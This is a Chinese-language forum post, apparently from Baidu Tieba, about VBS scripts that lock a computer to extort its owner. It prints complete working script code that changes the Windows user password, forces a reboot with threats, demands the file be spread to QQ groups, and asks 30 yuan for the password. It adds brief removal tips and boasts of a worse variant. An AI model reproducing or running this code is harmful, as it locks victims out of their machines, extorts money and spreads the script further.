钟瑞财吧 关注:138,811贴子:11,153
  • 1回复贴,共1

【谈】关于打开一个VBS脚本后电脑被加上密码

取消只看楼主收藏回复

现在很多人利用VBS脚本设置电脑密码来索取受害者的钱,个人感觉弱爆了,下面是实现这个功能的VBS代码┏ (^ω^)=☞【 Const strPassword = "123456"'
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Network")
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 2000 -c ""你开机密码被我改了!速度转发五个QQ群或者20个QQ好友、完事联系QQ******、不然你也别想关掉、重启就让你开不开机,不信你试试···"" ",0 ,true
dim a
do while(a <> "http://www.baidu.com")
a = inputbox ("速度转发给五个QQ群或者20个QQ好友、完事联系QQ*****不然你也别想关掉、重启就让你开不开机,让你电脑瘫痪,不信你试试"" ","加不加","对不起系统没有检测到你把软件发至五个群",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"哈哈!贪小便宜吃大亏。"
loop
msgbox chr(13) + chr(13) + chr(13) + "哈哈!想要密码了吧,联系QQ*****,30元给你密码 "
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "本软件已绑定你的电脑,请不要删除否则可能引起电脑开不开机" 】→→→→→→→不难看出,其实被设置了的电脑的密码就是123456,在还没关机之前你可以用txt格式打开vbs脚本,查看密码,或者直接在开始运行中输入”shutdown -a”来取消关机……,其实系统被加上密码直接用pe清除下密码就OK了,也不是很难的事……感觉用这脚本骗钱的人都弱爆了,随随便便就破解了,哈哈,过几天我让大家看看我做的这个VBS变种,让99.9%人都无法整回原来的系统,也就意味着重装……


IP属地:福建来自Android客户端1楼2014-08-15 01:55回复
    发样本,密码就在里面了


    IP属地:福建来自Android客户端23楼2015-04-25 12:47
    回复